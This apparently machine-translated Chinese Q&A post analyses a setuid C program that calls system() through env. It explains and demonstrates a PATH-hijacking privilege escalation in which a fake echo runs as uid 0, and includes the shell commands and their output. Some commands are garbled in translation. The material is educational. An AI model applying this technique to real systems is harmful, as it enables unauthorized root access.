这个C代码有什么弱点?
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
我理解的方式,上面的代码允许任意代码(或程序)执行 – 是什么让这个脆弱,以及如何利用这一点?
你可以覆盖PATH
variables来指向你的自定义版本的echo
目录,因为echo
是使用env
来执行的,所以不会被视为内置的。
只有在代码作为特权用户运行时,才会构build漏洞。
在下面的例子中,文件vc包含问题的代码。
$ cat echo.c #include <stdio.h> #include <unistd.h> int main() { printf("Code run as uid=%d\n", getuid()); } $ cc -o echo echo.c $ cc -ov vc $ sudo chown root v $ sudo chmod +sv $ ls -l total 64 -rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo -rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c -rwsr-sr-x 1 root group 8896 Nov 29 01:55 v -rw-r--r-- 1 user group 279 Nov 29 01:55 vc $ ./v and now what? $ export PATH=.:$PATH $ ./v Code run as uid=0 $
请注意,在问题中发布的漏洞代码中调用setresuid()
之前,通过调用setresuid()
来设置真实用户ID,有效用户ID和保存的set-user-ID,即使只有漏洞有效的用户ID被设置为特权用户ID,并且真实用户ID保持非特权(例如,如上所述依赖于文件上的set-user-ID位的情况)。 如果没有调用setresuid()
, system()
运行的shell会将有效的用户标识重置为真实的用户标识,从而导致漏洞无效。 但是,在使用特权用户的真实用户ID运行易受攻击代码的情况下, system()
调用就足够了。 引用sh
手册页:
如果shell是以有效用户(组)id不等于真实用户(组)id的方式启动的,并且-p选项没有提供,则不会读取启动文件,shell函数不会从环境中inheritance,SHELLOPTSvariables,如果它出现在环境中,则被忽略,并且有效的用户ID被设置为真实的用户ID。 如果调用时提供了-p选项,则启动行为是相同的,但不会重置有效的用户标识。
另外请注意, setresuid()
不是可移植的,但setuid()
或setreuid()
也可以用于相同的效果。